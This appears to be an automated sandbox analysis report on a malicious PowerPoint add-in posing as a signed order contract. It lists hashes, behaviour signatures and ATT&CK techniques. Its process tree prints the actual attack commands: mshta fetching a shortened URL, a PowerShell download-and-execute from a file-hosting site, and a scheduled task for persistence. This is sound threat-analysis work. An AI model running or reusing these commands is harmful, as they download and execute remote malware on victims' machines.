Analysis

  • max time kernel
    117s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-en-20211104
  • submitted
    25-11-2021 16:55

General

  • Target

    Order Contract_signed (2NQ39NGAY0GD).ppam

  • Size

    8KB

  • MD5

    4d5fee148b7a8eccf48baf9e46bd0aca

  • SHA1

    cb17124014df5d5454c9aa8d6468fe987b2a1280

  • SHA256

    9519fae35009182236a7050629d629cb5d4978b868f3168f1107fe4e3a3711b8

  • SHA512

    b89fa408ff04280aa2aeed5164e89d96b8c1b05e9c2ef3d671abbbd838293296f74fa824202d1a975fb6ce3799e794557cd6a2be5d42354e2a133340d5f4edc2

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Order Contract_signed (2NQ39NGAY0GD).ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:1452
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:456
      • \??\c:\windows\SysWOW64\mshta.exe
        c:\windows\system32\calc\..\mshta https://hahahahh@j.mp/ODOASODOchjdjdsfdrueruebdgbjd
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Modifies system certificate store
        • Suspicious use of WriteProcessMemory
        PID:768
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_91603714ac3947ce8b64f4db8b2d0c07.txt?dn=kofkefjikdaowkdoaw') -useB);i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_408b52dd81ad428db256ba35835b2ee7.txt?dn=asdoawkdajicqujwdi') -useB);
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1156
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 63 /tn ""kbnvmmmhjo"" /F /tr ""\""MsHtA""\""https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.html\""
          3⤵
          • Creates scheduled task(s)
          PID:1152

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Defense Evasion

    Modify Registry

    2
    T1112

    Install Root Certificate

    1
    T1130

    Discovery

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/456-58-0x0000000000000000-mapping.dmp
    • memory/456-59-0x000007FEFB8D1000-0x000007FEFB8D3000-memory.dmp
      Filesize

      8KB

    • memory/768-61-0x0000000000000000-mapping.dmp
    • memory/1152-65-0x0000000000000000-mapping.dmp
    • memory/1156-63-0x0000000000000000-mapping.dmp
    • memory/1156-66-0x0000000002410000-0x000000000305A000-memory.dmp
      Filesize

      12.3MB

    • memory/1452-55-0x0000000074091000-0x0000000074095000-memory.dmp
      Filesize

      16KB

    • memory/1452-56-0x00000000710C1000-0x00000000710C3000-memory.dmp
      Filesize

      8KB

    • memory/1452-57-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1452-60-0x0000000075141000-0x0000000075143000-memory.dmp
      Filesize

      8KB

    • memory/1452-62-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB